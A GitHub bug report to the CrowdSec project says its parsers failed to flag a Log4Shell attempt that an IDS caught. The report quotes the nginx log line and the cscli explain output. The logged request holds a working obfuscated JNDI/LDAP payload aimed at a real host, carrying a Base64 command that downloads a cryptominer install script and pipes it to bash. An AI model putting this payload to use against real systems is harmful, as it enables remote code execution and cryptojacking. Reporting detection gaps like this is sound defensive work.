missing log4j pattern bypass
yanbreu opened this issue ยท 0 comments
yanbreu commented
Describe the bug
My IDS detected a log4j attempt but crowdsec didn't.
I hope this is the right place to report this.
To Reproduce
Nginx Log:
1.2.3.4 - - [11/Dec/2023:04:41:01 +0100] "GET / HTTP/1.1" 200 3 "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//174.138.82.190:1389/TomcatBypass/Command/Base64/Y3VybCAtcyAtTCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vQzNQb29sL3htcmlnX3NldHVwL21hc3Rlci9zZXR1cF9jM3Bvb2xfbWluZXIuc2ggfCBiYXNoIC1zIDQ4Nnhxdzd5c1hkS3c3UmtWelQ1dGRTaUR0RTZzb3hVZFlhR2FHRTFHb2FDZHZCRjdyVmc1b01YTDlwRngzckIxV1VDWnJKdmQ2QUhNRldpcGVZdDVlRk5VeDlwbUdO}')" "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//174.138.82.190:1389/TomcatBypass/Command/Base64/Y3VybCAtcyAtTCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vQzNQb29sL3htcmlnX3NldHVwL21hc3Rlci9zZXR1cF9jM3Bvb2xfbWluZXIuc2ggfCBiYXNoIC1zIDQ4Nnhxdzd5c1hkS3c3UmtWelQ1dGRTaUR0RTZzb3hVZFlhR2FHRTFHb2FDZHZCRjdyVmc1b01YTDlwRngzckIxV1VDWnJKdmQ2QUhNRldpcGVZdDVlRk5VeDlwbUdO}')"
cscli explain:
/ # cscli explain --dsn file://tmp/nginx.log --type nginx
line: 1.2.3.4 - - [11/Dec/2023:04:41:01 +0100] "GET / HTTP/1.1" 200 3 "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//174.138.82.190:1389/TomcatBypass/Command/Base64/Y3VybCAtcyAtTCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vQzNQb29sL3htcmlnX3NldHVwL21hc3Rlci9zZXR1cF9jM3Bvb2xfbWluZXIuc2ggfCBiYXNoIC1zIDQ4Nnhxdzd5c1hkS3c3UmtWelQ1dGRTaUR0RTZzb3hVZFlhR2FHRTFHb2FDZHZCRjdyVmc1b01YTDlwRngzckIxV1VDWnJKdmQ2QUhNRldpcGVZdDVlRk5VeDlwbUdO}')" "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//174.138.82.190:1389/TomcatBypass/Command/Base64/Y3VybCAtcyAtTCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vQzNQb29sL3htcmlnX3NldHVwL21hc3Rlci9zZXR1cF9jM3Bvb2xfbWluZXIuc2ggfCBiYXNoIC1zIDQ4Nnhxdzd5c1hkS3c3UmtWelQ1dGRTaUR0RTZzb3hVZFlhR2FHRTFHb2FDZHZCRjdyVmc1b01YTDlwRngzckIxV1VDWnJKdmQ2QUhNRldpcGVZdDVlRk5VeDlwbUdO}')"
โ s00-raw
| โ ๐ด crowdsecurity/cri-logs
| โ ๐ด crowdsecurity/docker-logs
| โ ๐ข crowdsecurity/non-syslog (+5 ~8)
| โ ๐ด crowdsecurity/syslog-logs
โ s01-parse
| โ ๐ด LePresidente/authelia-logs
| โ ๐ข crowdsecurity/nginx-logs (+22 ~2)
โ s02-enrich
| โ ๐ข crowdsecurity/dateparse-enrich (+2 ~2)
| โ ๐ข crowdsecurity/geoip-enrich (+10)
| โ ๐ข crowdsecurity/http-logs (+6)
| โ ๐ข crowdsecurity/whitelists (unchanged)
โ-------- parser success ๐ข
โ Scenarios
โ ๐ข crowdsecurity/http-crawl-non_statics
Expected behavior
Request should get flagged and blocked.
Additional context
See Suricata rule:
https://github.com/ptresearch/AttackDetection/blob/master/Log4Shell/log4shell.rules#L1